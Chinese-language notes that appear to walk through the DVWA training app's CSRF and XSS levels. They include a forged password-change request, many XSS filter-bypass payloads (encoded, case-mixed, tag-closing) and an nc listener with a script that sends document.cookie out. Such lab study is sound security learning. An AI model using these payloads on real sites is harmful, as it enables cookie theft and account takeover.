CSRF
low 级别未作防护,burp 拦截后直接生成 PoC 就能够实现 CSRF。
medium 级别对 Referer 做了检查,如果不包含 server_name 就判为非法。
需要构造一个包含域名的地址,如:http://vps.ip/server_name/csrf.html
high 级别不仅校验 Referer,还会为每次访问生成一个 token,请求时会判断 token 是否有效。
需要先请求一次页面获取 token,然后再将 token 添加到 query 中。
1 | GET /dvwa/vulnerabilities/csrf/?password_new=passw0rd&password_conf=passw0rd&Change=Change&user_token=e206c7cd093babd9dde6e91f3f4ed409 HTTP/1.1 |
SameSite
https://web.dev/samesite-cookies-explained/
Lax:GET 携带 Cookie;POST 不携带;None: 无限制;Strict:完全禁止第三方 Cookie
SQL Injection
Blind
XSS
DOM 型
DOM 型直接作用与浏览器,未与后端产生任何交互。
low 级别非常简单,没有做任何检查,直接写入 <script>alert(document.cookie)</script>
medium 级别对 <script
做了检查,所以需要避开 script
标签,
通过 DevTools 分析,需要把 <option
和 <select>
闭合起来,因为这两个标签内部都无法使用 <iframe>
,
然后使用 <iframe onload=alert(document.cookie)>
来构造一个 XSS:></option></select><iframe onload=alert(document.cookie)>
high 级别做了白名单处理,这时单纯闭合标签就不起作用了。因为上面两种输入的内容都被视作 $default
。如果想要切割开,使用 #/&
符号,所以应该这样构造:English&<script>alert(document.cookie)</script>
OOB 带外方法:vps 上监听 nc -nlkvp 8088
,然后使用 script
标签 <script /src=//localhost:8088>
或者 <script>new Image().src="http://localhost:8088/log?output="+document.cookie;</scipt>
反射型
与 DOM 型相反,反射型的数据需要经过后端服务器,但因后端过滤规则不完善,将恶意 payload 又转发给了用户,经过服务器反射最后起作用。
low 级别同上省略。
medium 级别做了字符替换 str_replace 处理,和 DOM 型的 stripos
不同,此处可以采取多种规避规则:
- 大小写绕过,
<sCrIpT>alert(document.cookie)></sCrIpT>
- 双写方式绕过,
<scr<script>ipt>alert(document.cookie)></script>
- 注释干扰
- 非 script 标签 payload:
<iframe onload=alert(document.cookie)>
,要闭合无法嵌套 iframe 的标签
high 级别,对 script 做了正则匹配,可以用 img、body 等标签的事件或者 iframe 等标签的 src 构造可利用的 js 代码。
<img src='javascript:alert(/xss/)' onerror=alert(/xss/)>
<iframe onload=alert(/xss/)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
<img src='javascript:alert(/xss/)' onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<a href='javascript:alert(/xss/)' onclick=alert('xss')>click</a>
存储型
存储型和反射型的不同点在于,payload 是保存到后端服务器上的,在取出 payload 时才构成 xss。
low 级别同上省略。
medium 级别对 message 做了 strip_tags 是的很难再添加标签,但对 name 的防护很弱,仅在前端限制了长度,后端和反射型相同做了 str_replace。所以仅需在前端修改长度限制,然后直接使用反射型的 xss 即可。
high 级别和 medium 级别做相同长度突破,然后使用反射型 xss 即可。这里的存储型和反射型做法基本相同。